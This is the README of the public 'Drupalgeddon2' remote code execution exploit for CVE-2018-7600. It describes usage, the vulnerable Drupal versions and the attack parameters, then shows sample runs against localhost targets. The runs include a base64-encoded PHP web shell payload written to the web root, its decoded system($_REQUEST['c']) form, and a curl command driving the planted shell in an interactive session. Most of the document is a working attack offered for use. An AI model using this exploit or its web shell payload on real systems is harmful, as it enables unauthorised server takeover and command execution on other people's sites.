CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

Supports:

• Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ user/register URL, attacking account/mail & #post_render parameter, using PHP's passthru function
• Drupal < 7.58 ~ user/password URL, attacking triggering_element_name form & #post_render parameter, using PHP's passthru function
• Works with direct commands (aka File-Less Method) or writes a PHP shell to the web root (./) or sub-directories (./sites/default/ & ./sites/default/files/)
• Support Linux & Windows targets
• Auto detects Drupal version (or takes a good guess!)

The user/register method was chosen for Drupal v8.x, as it will return HTTP 200, and render the output in the data JSON response (un-comment the code for timezone/#lazy_builder method, which will return HTTP 500 & blind!) (More Information)

Authors:

• Hans Topo (@_dreadlocked)
• g0tmi1k (@g0tmi1k)

Notes:

• For advance users/setups there is a more customizable exploit. See the drupalgeddon2-customizable-beta.rb section
• Before opening an issue, please, read the troubleshooting section at the end. Thanks!

---

Usage:

$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
       ruby drupalgeddon2.rb https://example.com
$

The --verbose and --authentication parameter can be added in any order after and they are both optional. If --authentication is specified then you will be prompted with a request to submit

• username,
• password,
• form field name for username,
• form field name for password,
• URL path to the web login page, e.g., user/login
• eventual suffix to append after the credentials in the form submission, e.g., form_id, etc.

This is to support exploiting websites that first require POST-based web login and who respond with a session cookie, upon successful authentication.

Drupal v8.x Example

Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

$ ./drupalgeddon2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TTTBJJBP
[+] Result : TTTBJJBP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>

Drupal v7.x Example

Drupal < v7.58

$ ./drupalgeddon2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.31
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TKYPVVJJ
[+] Result : TKYPVVJJ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'

ubuntu140045x64-drupal>> uptime
 14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>

Direct Commands / Non PHP Shell (aka File-Less Method)

If either you do not want to even try and write a PHP web shell to the web server, edit the file as shown (it will fall back if it can't find a writeable location anyway):

try_phpshelltryphpshell = false

Example